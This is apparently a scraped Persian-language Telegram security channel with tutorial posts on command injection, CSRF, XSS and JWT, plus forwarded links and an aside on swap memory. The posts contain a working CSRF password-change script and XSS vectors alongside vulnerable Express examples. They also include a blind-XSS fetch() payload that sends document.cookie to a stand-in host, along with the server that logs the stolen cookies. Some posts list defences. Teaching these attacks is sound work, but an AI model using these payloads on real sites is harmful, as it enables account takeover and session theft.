/dev/null
command injection : ( OS command execute ) در این نوع injection به دلیل اینکه web server دسترسی مستقیم به shell داره و میتونه یه سری اطلاعات رو رویه shell ذخیره کنه این آسیب پذیری رخ میده. مثلا برای آپلود کردن تصاویر یا convert کردن ویدیو یا ذخیره کردن email…
خب آقا شاید براتون سوال پیش بیاد چرا خودمون رو اذیت کنیم و حلقه و اینا بزنیم و حالا بیا دیتا رو سرهم کن و اینا
خدمتم بهتون عرض کنه که بعضی جاها اون سرور اصلیه که میخوایم ازش دیتا بکشیم بیرون به Internet دسترسی نداره و فقط پروتکل DNS بازه اونم برای سرور هایی که تویه همون شبکه تعریف شدن برای ارتباط با اون!
پس نیازه برای دسترسی به اون سرور اصلیه از پروتکل DNS استفاده کرد که بهش DNS tunneling هم میگن.🦦❤️
خدمتم بهتون عرض کنه که بعضی جاها اون سرور اصلیه که میخوایم ازش دیتا بکشیم بیرون به Internet دسترسی نداره و فقط پروتکل DNS بازه اونم برای سرور هایی که تویه همون شبکه تعریف شدن برای ارتباط با اون!
پس نیازه برای دسترسی به اون سرور اصلیه از پروتکل DNS استفاده کرد که بهش DNS tunneling هم میگن.🦦❤️
❤🔥4🔥1
Forwarded from Linuxor ?
یه آموزش جامع مهندسی معکوس رایگان که شامل معماری های x86 و x64 و ARM و معماری امبدد RISC-V هستش.
https://github.com/mytechnotalent/Reverse-Engineering
🐧 @Linuxor
https://github.com/mytechnotalent/Reverse-Engineering
🐧 @Linuxor
👍1
csrf ( cross site request forgery ) :
( جعل درخواست از طرف کاربر احراز هویت شده )
میشه گف یه HTTP Request ارسال کنیم از طرف کاربر احراز هویت شده ( ینی قبلا لاگین شده در سایتی که میخوایم روش attack بزنیم)
چطوری میشه از طرف یه کاربر دیگه درخواست ارسال کرد به یه web site ؟
فرض کنین من یه سایتی دارم که تویه بک سایت یه چنین script هست :
حالا وقتی وارد سایت میشه این script لود میشه برای کاربر و حالا از طرف کاربر اما با origin سایت من یه request زده میشه
یه چند تا نکته هس که باید بگم :
1- مفهوم SOP که قبلا درموردش گفتم هنوز هم هست . ولی در اینجا ما اصلا به response نیازی نداریم . در واقع هدف ما change state هس ینی یه تغییری در سایت اتفاق بیوفته نه دسترسی به data های اون .
2- همونطور که در بالا گفتم در مفهوم CSRF باید change state داشته باشیم ( فقط لود کردن صفحه کاربر نشون دهنده CSRF نیست ! )
3- احراز هویت شدن کاربر ( همون لاگین بودن یا نبودن کاربر باید فقط از طریق cookie انجام بشه که cookie هم باید same-site = none باشه ( قبلا درمورد انواعش توضیح دادم )
4- اگه cookie که به ما میداد same-site != none بود باید یه xss ( بعدا در مورد این آسیب پذیری میگم ) در sub domain های سایت داشته باشیم که بتونیم cookie رو هایجک کنیم ( چون دیگه مفهوم SOP معنی نمیده و same origin هستن )
5- یه چیزی که خیلی مهمه و تقریبا باید اولش میگفتم اینه که هر HTTP Request نمیتونه CSRF باشه ( با فرض اینکه چنین چیزایی که تا الان گفتم اوکی بود ) باید دو تا شرط رو داشه باشه :
1- باید simple HTTP Request باشه . درخواست هایی مثل :
2- باید repeatable باشن ( ینی تکرار پذیر باشن ) .( حالا در اخر سر روش های جلوگیری از CSRF رو میگم که بدونین اگه اینا وجود نداشت CSRF دارین و attack بزنین . ) به عنوان مثال اگه یه token داشته باشیم که به session کاربر چسبیده باشه ( بهش CSRF Token میگن ) که اون token رندوم باشه ینی با هر بار درخواست زدن عوض بشه دیگه تکرار پذیر نیست چون ما به اون token دسترسی نداریم ( ینی مفهوم SOP میاد وسط و دیگه نمیتونیم اونو هایجک کنیم ) . خلاصه بخوام بگم وقتی به change_pass/ یه GET میزنه یه token به session میچسبه و بعد که میخواد pass رو عوض کنه ینی به change_pass/ یه POST بزنه همراهش اون token هم ارسال میشه ( که ما چون توسط js به response دسترسی نداریم نمیتونیم token رو بخونیم )
6- یه چیزی رو اگه توجه کنین تویه کد بالا من فقط 'password = hacked ' گذاشتم و این یعنی اون سایت اصلی تویه اون route فقط مقدار new pass رو میگیره ولی اگه بک سایت یه چنین چیزی باشه :
تویه این کد اون مقدار قبلی password رو هم میخواد و حالا اینجاس که باید یه جوری مقدار قبلی رو بدست بیاریم ( مثلا Brute force )
روش هایی برای جلوگیری از CSRF :
1- اضافه کردن یه header HTTP که به سمت سایت میره ( برای اینکه دیگه simple نباشه درخواستمون مثلا استفاده از JSON )
2- استفاده از CSRF token
3- چک کردن referer ( هدر Referer در درخواست HTTP مشخص میکند که کاربر از کدام URL به صفحه فعلی منتقل شده و دیگه توسط js قابل دستکاری نیست )
( جعل درخواست از طرف کاربر احراز هویت شده )
میشه گف یه HTTP Request ارسال کنیم از طرف کاربر احراز هویت شده ( ینی قبلا لاگین شده در سایتی که میخوایم روش attack بزنیم)
چطوری میشه از طرف یه کاربر دیگه درخواست ارسال کرد به یه web site ؟
فرض کنین من یه سایتی دارم که تویه بک سایت یه چنین script هست :
<script>
function testCSRF(){
const url = 'https://site.com/change_pass'
const xml = new XMLHttpRequest() ;
xml.onreadystatechange = function(){
if (xml.status == 200 && xml.readyState == 4) {
console.log('[+] password changed ...')
}
}
xml.open('POST' , url);
xml.setRequestHeader = ("Content-Type" , "application/x-www-form-unlencoded")
xml.withCredentials = true ;
xml.send("password=hacked")
}
</script>
حالا وقتی وارد سایت میشه این script لود میشه برای کاربر و حالا از طرف کاربر اما با origin سایت من یه request زده میشه
site.com و وقتی که login هست از قبل در سایت هدف پسووردش بدون اینکه بفهمه عوض میشه به hacked .یه چند تا نکته هس که باید بگم :
1- مفهوم SOP که قبلا درموردش گفتم هنوز هم هست . ولی در اینجا ما اصلا به response نیازی نداریم . در واقع هدف ما change state هس ینی یه تغییری در سایت اتفاق بیوفته نه دسترسی به data های اون .
2- همونطور که در بالا گفتم در مفهوم CSRF باید change state داشته باشیم ( فقط لود کردن صفحه کاربر نشون دهنده CSRF نیست ! )
3- احراز هویت شدن کاربر ( همون لاگین بودن یا نبودن کاربر باید فقط از طریق cookie انجام بشه که cookie هم باید same-site = none باشه ( قبلا درمورد انواعش توضیح دادم )
4- اگه cookie که به ما میداد same-site != none بود باید یه xss ( بعدا در مورد این آسیب پذیری میگم ) در sub domain های سایت داشته باشیم که بتونیم cookie رو هایجک کنیم ( چون دیگه مفهوم SOP معنی نمیده و same origin هستن )
5- یه چیزی که خیلی مهمه و تقریبا باید اولش میگفتم اینه که هر HTTP Request نمیتونه CSRF باشه ( با فرض اینکه چنین چیزایی که تا الان گفتم اوکی بود ) باید دو تا شرط رو داشه باشه :
1- باید simple HTTP Request باشه . درخواست هایی مثل :
POST , GET
or content types :
text/plain
multipart/form-data
application/x-www-form-urlencoded
2- باید repeatable باشن ( ینی تکرار پذیر باشن ) .( حالا در اخر سر روش های جلوگیری از CSRF رو میگم که بدونین اگه اینا وجود نداشت CSRF دارین و attack بزنین . ) به عنوان مثال اگه یه token داشته باشیم که به session کاربر چسبیده باشه ( بهش CSRF Token میگن ) که اون token رندوم باشه ینی با هر بار درخواست زدن عوض بشه دیگه تکرار پذیر نیست چون ما به اون token دسترسی نداریم ( ینی مفهوم SOP میاد وسط و دیگه نمیتونیم اونو هایجک کنیم ) . خلاصه بخوام بگم وقتی به change_pass/ یه GET میزنه یه token به session میچسبه و بعد که میخواد pass رو عوض کنه ینی به change_pass/ یه POST بزنه همراهش اون token هم ارسال میشه ( که ما چون توسط js به response دسترسی نداریم نمیتونیم token رو بخونیم )
6- یه چیزی رو اگه توجه کنین تویه کد بالا من فقط 'password = hacked ' گذاشتم و این یعنی اون سایت اصلی تویه اون route فقط مقدار new pass رو میگیره ولی اگه بک سایت یه چنین چیزی باشه :
<script>
let currentPassword = "password";
function checkOldPassword() {
const enteredOldPassword = document.getElementById("oldPassword").value;
if (enteredOldPassword !== currentPassword) {
alert("[+]The password is incorrect.");
return;
}
else {
const newPassword = document.getElementById("newPassword").value;
currentPassword = newPassword;
}
}
</script>
تویه این کد اون مقدار قبلی password رو هم میخواد و حالا اینجاس که باید یه جوری مقدار قبلی رو بدست بیاریم ( مثلا Brute force )
روش هایی برای جلوگیری از CSRF :
1- اضافه کردن یه header HTTP که به سمت سایت میره ( برای اینکه دیگه simple نباشه درخواستمون مثلا استفاده از JSON )
2- استفاده از CSRF token
3- چک کردن referer ( هدر Referer در درخواست HTTP مشخص میکند که کاربر از کدام URL به صفحه فعلی منتقل شده و دیگه توسط js قابل دستکاری نیست )
🔥4🥰1
Forwarded from Bug bounty Tips
Awesome Bug Bounty Tools.
• Recon:
- Subdomain Enumeration;
- Port Scanning;
- Screenshots;
- Technologies;
- Content Discovery;
- Links;
- Parameters;
- Fuzzing.
• Exploitation:
- Command Injection;
- CORS Misconfiguration;
- CRLF Injection;
- CSRF Injection;
- Directory Traversal;
- File Inclusion;
- GraphQL Injection;
- Header Injection;
- Insecure Deserialization;
- Insecure Direct Object References;
- Open Redirect;
- Race Condition;
- Request Smuggling;
- Server Side Request Forgery;
- SQL Injection;
- XSS Injection;
- XXE Injection.
• Miscellaneous:
- Passwords;
- Secrets;
- Git;
- Buckets;
- CMS;
- JSON Web Token;
- postMessage;
- Subdomain Takeover;
- Uncategorized.
• Recon:
- Subdomain Enumeration;
- Port Scanning;
- Screenshots;
- Technologies;
- Content Discovery;
- Links;
- Parameters;
- Fuzzing.
• Exploitation:
- Command Injection;
- CORS Misconfiguration;
- CRLF Injection;
- CSRF Injection;
- Directory Traversal;
- File Inclusion;
- GraphQL Injection;
- Header Injection;
- Insecure Deserialization;
- Insecure Direct Object References;
- Open Redirect;
- Race Condition;
- Request Smuggling;
- Server Side Request Forgery;
- SQL Injection;
- XSS Injection;
- XXE Injection.
• Miscellaneous:
- Passwords;
- Secrets;
- Git;
- Buckets;
- CMS;
- JSON Web Token;
- postMessage;
- Subdomain Takeover;
- Uncategorized.
GitHub
GitHub - vavkamil/awesome-bugbounty-tools: A curated list of various bug bounty tools
A curated list of various bug bounty tools. Contribute to vavkamil/awesome-bugbounty-tools development by creating an account on GitHub.
/dev/null
💭انواع احراز هویت در web applications : احراز هویت با نام کاربری و رمز عبور : این روش رایجترین نوع احراز هویت است که کاربران با وارد کردن نام کاربری و رمز عبور خود به وب اپلیکیشن دسترسی پیدا میکنند احراز هویت دو مرحلهای (2FA): این روش شامل دو مرحله…
const jwt = require('jsonwebtoken');
router.post('/login', async (req, res) => {
const { email, password } = req.body;
const secretKey = 'your_secret_key';
try {
const user = await userModel.findOne({ where: { email } });
if (user) {
// The comparison of the entered password with the stored password.
if (user.password === password) {
const payload = {
"id": user.id,
"email": user.email,
"password": user.password
};
const token = jwt.sign(payload, secretKey, {
expiresIn: '3h',
algorithm: 'RS256'
});
res.cookie('token', token, {
sameSite: 'strict',
httpOnly: true,
path: '/',
maxAge: 1 * 60 * 60 * 1000
});
return res.redirect('/user/profile');👏3👍1
/dev/null
const jwt = require('jsonwebtoken'); router.post('/login', async (req, res) => { const { email, password } = req.body; const secretKey = 'your_secret_key'; try { const user = await userModel.findOne({ where: { email } }); if…
وقتی که وارد صفحه لاگین میشه بعد تأیید هویت شدن یه token تویه response واسش قرار داده میشه و بعد برای وارد شدن به پروفایلش اون توکن مشخص میکنه چه کاربری هس و با چه سطح دسترسی و اطلاعات مربوط به همون شخص رو بهش نشون میده.
#jwt
#jwt
👏5👍1
( ربطی به مبحث چنل نداره ولی دیدم این مبحث معماری کامپیوتر جذابه 🦦)
Swap (سواپ):
سواپ یه فرآیندیه که در آن سیستم عامل اون prosses که به طور فعال استفاده نمیشوند را از (RAM) به فضای ( Virtual memory)( یه حافظه مجازی ) منتقل میکند. این یک روش برای مدیریت حافظه است و به سیستم اجازه میدهد تا بیش از ظرفیت فیزیکی RAM خود به نظر برسد. سواپ عمدتاً زمانی اتفاق میافتد که Ram پر شود و به فضای بیشتری برای اجرای برنامهها نیاز باشد و معمولا افزایش یا کاهش Swap دست خودمونه.
خب حالا یه سوال پیش میاد ؟
من میتونم هر برنامه ای مثلا یه گیم با 20 گیگ رم رو تویه سیستم با 8 گیگ رم اجرا کنم؟
نه ، چند تا بحث هس :
اولیش اینه که یه مفهومی هس به اسم ( working set ) و نشون میده که یه مجموعهای از صفحات حافظه ( page tables ) است که یک پروسه در طول یک دوره زمانی خاص به آنها دسترسی دارد یا از آنها استفاده میکند ( اصل لوکالیتی) .
حالا چون برنامه یه سری پروسه ها رو نیاز داره و باید اجرا بشه دنبالش تویه RAM میگرده و پیداش نمیکنه ( اصطلاحا میگن miss خورده) و حالا باید بره از Virtual memory بیاره که اوردر پیدا کردن و آوردنش خیلی بیشتر از پیدا کردن تویه خود ram هست و سرعتو کاهش میده
و یه مسئله دیگه هم اینه که برخی از برنامهها به گونهای طراحی شدهاند که نیاز به مقدار مشخصی از RAM دارند و عملکرد صحیح آنها در صورت کمبود RAM به شدت تحت تأثیر قرار میگیرد یا اصلاً اجرا نمیشن
خب حالا از کجا میفهمه من اونقدر حجم ندارم ؟
برنامهها هنگام اجرا میتوانند درخواست حافظه کنند. اگر سیستم عامل نتواند این مقدار حافظه را فوراً تخصیص دهد (چه به دلیل کمبود RAM، چه نیاز به سواپ کردن دادهها)، برنامه ممکن است با خطا یا کاهش عملکرد مواجه بشه
یا اینکه کلا برنامه میتونه از طریق API های سیستم عامل مقدار حجم ram رو ببینه مثلا تویه لینوکس : /proc/meminfo
Swap (سواپ):
سواپ یه فرآیندیه که در آن سیستم عامل اون prosses که به طور فعال استفاده نمیشوند را از (RAM) به فضای ( Virtual memory)( یه حافظه مجازی ) منتقل میکند. این یک روش برای مدیریت حافظه است و به سیستم اجازه میدهد تا بیش از ظرفیت فیزیکی RAM خود به نظر برسد. سواپ عمدتاً زمانی اتفاق میافتد که Ram پر شود و به فضای بیشتری برای اجرای برنامهها نیاز باشد و معمولا افزایش یا کاهش Swap دست خودمونه.
خب حالا یه سوال پیش میاد ؟
من میتونم هر برنامه ای مثلا یه گیم با 20 گیگ رم رو تویه سیستم با 8 گیگ رم اجرا کنم؟
نه ، چند تا بحث هس :
اولیش اینه که یه مفهومی هس به اسم ( working set ) و نشون میده که یه مجموعهای از صفحات حافظه ( page tables ) است که یک پروسه در طول یک دوره زمانی خاص به آنها دسترسی دارد یا از آنها استفاده میکند ( اصل لوکالیتی) .
حالا چون برنامه یه سری پروسه ها رو نیاز داره و باید اجرا بشه دنبالش تویه RAM میگرده و پیداش نمیکنه ( اصطلاحا میگن miss خورده) و حالا باید بره از Virtual memory بیاره که اوردر پیدا کردن و آوردنش خیلی بیشتر از پیدا کردن تویه خود ram هست و سرعتو کاهش میده
و یه مسئله دیگه هم اینه که برخی از برنامهها به گونهای طراحی شدهاند که نیاز به مقدار مشخصی از RAM دارند و عملکرد صحیح آنها در صورت کمبود RAM به شدت تحت تأثیر قرار میگیرد یا اصلاً اجرا نمیشن
خب حالا از کجا میفهمه من اونقدر حجم ندارم ؟
برنامهها هنگام اجرا میتوانند درخواست حافظه کنند. اگر سیستم عامل نتواند این مقدار حافظه را فوراً تخصیص دهد (چه به دلیل کمبود RAM، چه نیاز به سواپ کردن دادهها)، برنامه ممکن است با خطا یا کاهش عملکرد مواجه بشه
یا اینکه کلا برنامه میتونه از طریق API های سیستم عامل مقدار حجم ram رو ببینه مثلا تویه لینوکس : /proc/meminfo
👍4🔥2
Forwarded from Linuxor ?
این سایته هم جالب بود چند هزار تا المنت برای ui توش میتونین پیدا کنین
https://uiverse.io/elements
🐧 @Linuxor ~ mouad_dadda
https://uiverse.io/elements
🐧 @Linuxor ~ mouad_dadda
🔥3
XSS : ( cross-site scripting )
یه آسیب پذیری امنیتی وب هس که ما یه کد script دلخواه تویه یه وب سایت inject کنیم . کدی که inject میکنیم رویه browser کاربر اجرا میشه .
حالا به دو صورت تقسیم میشه :
1- Normal XSS
2- DOM XSS
تویه Normal xss به خاطر render کردن کد های HTML اتفاق میوفته که میتونه خودش به دو قسمت : Reflected , Stored تقسیم بشه . و تویه DOM xss , رندر کردن کد های HTML تموم میشه و مثلا وفتی میخواد کد های js رو اجرا کنه که اون کد های js باعث تغییر صفحه یا DOM میشن که تویه اون فرآیند باعث به وجود اومدن xss میشه و این قسمت هم میتونه دو بخش Reflected و Stored داشته باشه .
حالا Reflected و Stored چیه ؟
وقتی که کد های inject شده ما ذخیره نشن مثلا توسط لینک های مخرب باعث بشه xss به وجود بیاد بهش میگن Reflected ولی وقتی کد ها تویه database ذخیره میشن مثلا وقتی که کامنت واسه یه پستی تویه یه وب سایتی مینویسین بهش میگن Stored .
یه سری از Vector های xss :
یه مثال از Reflected XSS با node js :
تویه این کد یه query از کاربر میگیره (q) و نتایج اون رو بهش نشون میده و تویه کد هیچ جایی ورودی رو با استفاده از توابعی مثل sanitizeHtml() امن نکرده . کاربر میتونه این payload رو استفاده کنه :
بعد اجرا این url برای کاربر cookie , نمایش داده میشه .
مثال برای Stored xss :
خب تویه این همینطور که میبینین comment ها یه جا ذخیره شده ( من واسه مثال تویه آرایه اوردم).
اگه attacker بیاد و چنین کامنتی اضافه کنه :
تویه دیتابیس اضافه میشه :
و حالا هر کاربری که وارد بحش کامنت ها بشه این payload براش اجرا میشه .
میشه با تابعی به اسم
برای DOM xss هم :
تویه این کد با توجه به پارامتری که به query میدیم صفحه سایت یا DOM عوض میشه .
مثلا اگه این url رو اجرا کنم :
تویه صفحه برای من Hello moha چاپ میشه .
حالا اگه این url رو اجرا کنم :
واسم cookie نمایش داده میشه .
البته یه نوع دیگه xss هم هس بهش Blind xss میگن . طبیعتا ( تا حالا ننوشته بودم طبیعتا 😂 ) ما نمیخوایم cookie رو فقط برای خود کاربر نمایش بدیم و میخوایم cookie کاربر رو به بدست بیاریم و بعد حالا باهاش هر کاری که کاربر میتونه انحام بده انجام بدیم ( مثلا بعد پیدا کردن xss بریم برای csrf یا اینکه چون sop ( same origin policy ) نمیزاره به دیتا ها دسترسی داشته باشیم میتونیم با xss بدون اینکه بخوایم به دیتا دسترسی داشته باشیم اون هارو تغییر بدیم مثلا پسوورد لاگین کاربر رو و ...) . حالا برای Blind باید از تکنیک out-of band استفاده کنیم که قبلا توضیح دادم راجبش .
کدش یه چنین چیزی میشه :
این میشه payload که وارد کردیم. حالا تویه حالت store یا reflected :
یه آسیب پذیری امنیتی وب هس که ما یه کد script دلخواه تویه یه وب سایت inject کنیم . کدی که inject میکنیم رویه browser کاربر اجرا میشه .
حالا به دو صورت تقسیم میشه :
1- Normal XSS
2- DOM XSS
تویه Normal xss به خاطر render کردن کد های HTML اتفاق میوفته که میتونه خودش به دو قسمت : Reflected , Stored تقسیم بشه . و تویه DOM xss , رندر کردن کد های HTML تموم میشه و مثلا وفتی میخواد کد های js رو اجرا کنه که اون کد های js باعث تغییر صفحه یا DOM میشن که تویه اون فرآیند باعث به وجود اومدن xss میشه و این قسمت هم میتونه دو بخش Reflected و Stored داشته باشه .
حالا Reflected و Stored چیه ؟
وقتی که کد های inject شده ما ذخیره نشن مثلا توسط لینک های مخرب باعث بشه xss به وجود بیاد بهش میگن Reflected ولی وقتی کد ها تویه database ذخیره میشن مثلا وقتی که کامنت واسه یه پستی تویه یه وب سایتی مینویسین بهش میگن Stored .
یه سری از Vector های xss :
<script>alert(document.cookie)</script>
<img src=x onerror=alert(document.cookie)>
<svg onerror=alert(document.cookie)>
یه مثال از Reflected XSS با node js :
const express = require('express');
const app = express();
app.get('/search', function(req, res) {
var searchTerm = req.query.q;
res.send('You searched for: ' + searchTerm);
});
app.listen(8080);تویه این کد یه query از کاربر میگیره (q) و نتایج اون رو بهش نشون میده و تویه کد هیچ جایی ورودی رو با استفاده از توابعی مثل sanitizeHtml() امن نکرده . کاربر میتونه این payload رو استفاده کنه :
http://site.com/search?q=<script>alert(document.cookie)</script>
بعد اجرا این url برای کاربر cookie , نمایش داده میشه .
مثال برای Stored xss :
const express = require('express');
const app = express();
const PORT = 8081;
// store comment !!
let comments = ['Great product!', 'I love it!', 'Could be better.'];
// show comment
app.get('/comments', async (req, res) => {
let html = '<ul>';
for (const comment of comments) {
html += `<li>${comment}</li>`;
}
html += '</ul>';
res.send(html);
});
app.listen(PORT, () => {
console.log(`Server is running on http://localhost:${PORT}`);
});خب تویه این همینطور که میبینین comment ها یه جا ذخیره شده ( من واسه مثال تویه آرایه اوردم).
اگه attacker بیاد و چنین کامنتی اضافه کنه :
<script>alert(document.cookie)</script>
تویه دیتابیس اضافه میشه :
let comments = ['Great product!', 'I love it!', 'Could be better.' , <script>alert(document.cookie)</script>];
و حالا هر کاربری که وارد بحش کامنت ها بشه این payload براش اجرا میشه .
میشه با تابعی به اسم
sanitizeHTML() ورودی رو امن کرد.برای DOM xss هم :
<!DOCTYPE html>
<html>
<head>
<title>DOM xss</title>
</head>
<body>
<div id="test"></div>
<script>
const name = new URLSearchParams(window.location.search).get('name');
document.write("Hello, " + name);
</script>
</body>
</html>
تویه این کد با توجه به پارامتری که به query میدیم صفحه سایت یا DOM عوض میشه .
مثلا اگه این url رو اجرا کنم :
http://localhost:8082/DOM-xss.html/?name=moha
تویه صفحه برای من Hello moha چاپ میشه .
حالا اگه این url رو اجرا کنم :
http://localhost:8082/DOM-xss.html/?name=moha <script>alert(document.cookie)</script>
واسم cookie نمایش داده میشه .
البته یه نوع دیگه xss هم هس بهش Blind xss میگن . طبیعتا ( تا حالا ننوشته بودم طبیعتا 😂 ) ما نمیخوایم cookie رو فقط برای خود کاربر نمایش بدیم و میخوایم cookie کاربر رو به بدست بیاریم و بعد حالا باهاش هر کاری که کاربر میتونه انحام بده انجام بدیم ( مثلا بعد پیدا کردن xss بریم برای csrf یا اینکه چون sop ( same origin policy ) نمیزاره به دیتا ها دسترسی داشته باشیم میتونیم با xss بدون اینکه بخوایم به دیتا دسترسی داشته باشیم اون هارو تغییر بدیم مثلا پسوورد لاگین کاربر رو و ...) . حالا برای Blind باید از تکنیک out-of band استفاده کنیم که قبلا توضیح دادم راجبش .
کدش یه چنین چیزی میشه :
این میشه payload که وارد کردیم. حالا تویه حالت store یا reflected :
<script>
fetch('http://your-server.com/xss?cookie=' + document.cookie);
</script>
🔥5👍1👏1
/dev/null
XSS : ( cross-site scripting ) یه آسیب پذیری امنیتی وب هس که ما یه کد script دلخواه تویه یه وب سایت inject کنیم . کدی که inject میکنیم رویه browser کاربر اجرا میشه . حالا به دو صورت تقسیم میشه : 1- Normal XSS 2- DOM XSS تویه Normal xss به خاطر render…
و بعد وب سایت خودمون برای دریافت cookie :
(دیگه جا نمیشد همش با هم یه جا 😂🦦)
const express = require('express');
const app = express();
const PORT = 8083;
app.get('/xss', async (req, res) => {
const cookie = req.query.cookie;
console.log('Received cookie:', cookie);
res.send('Cookie received');
});
app.listen(PORT, () => {
console.log(`Server is running on http://localhost:${PORT}`);
});(دیگه جا نمیشد همش با هم یه جا 😂🦦)
🔥6👍1👏1
Forwarded from < CyberCesar />
اگه قرار باشه هر ترمت رو با یک کلمه خلاصه کنی، اون کلمه چیه؟
دوستان چنل دار جواب بدین چنلاتون
دوستان چنل دار جواب بدین چنلاتون
👍1
/dev/null
https://x.com/horizonbehind2/status/1868218750706872658?s=19
آقا این توییت ساده توضیح داده چطوری ساب vless رویه کلود فلر درست کنین ( رایگان)
Forwarded from Linuxor ?
خبر داغ : وی اس کد خبر رایگان شدن هوش مصنوعی Copilot رو برای وی اس کد داده
توی کد زدن خیلی خوب کمک میکنه توی این یکسالی که من غیر رایگانش رو استفاده میکردم عالی بود.
نحوه فعال سازی :
https://code.visualstudio.com/blogs/2024/12/18/free-github-copilot
@Linuxor ~ Sezo
توی کد زدن خیلی خوب کمک میکنه توی این یکسالی که من غیر رایگانش رو استفاده میکردم عالی بود.
نحوه فعال سازی :
https://code.visualstudio.com/blogs/2024/12/18/free-github-copilot
@Linuxor ~ Sezo
👏3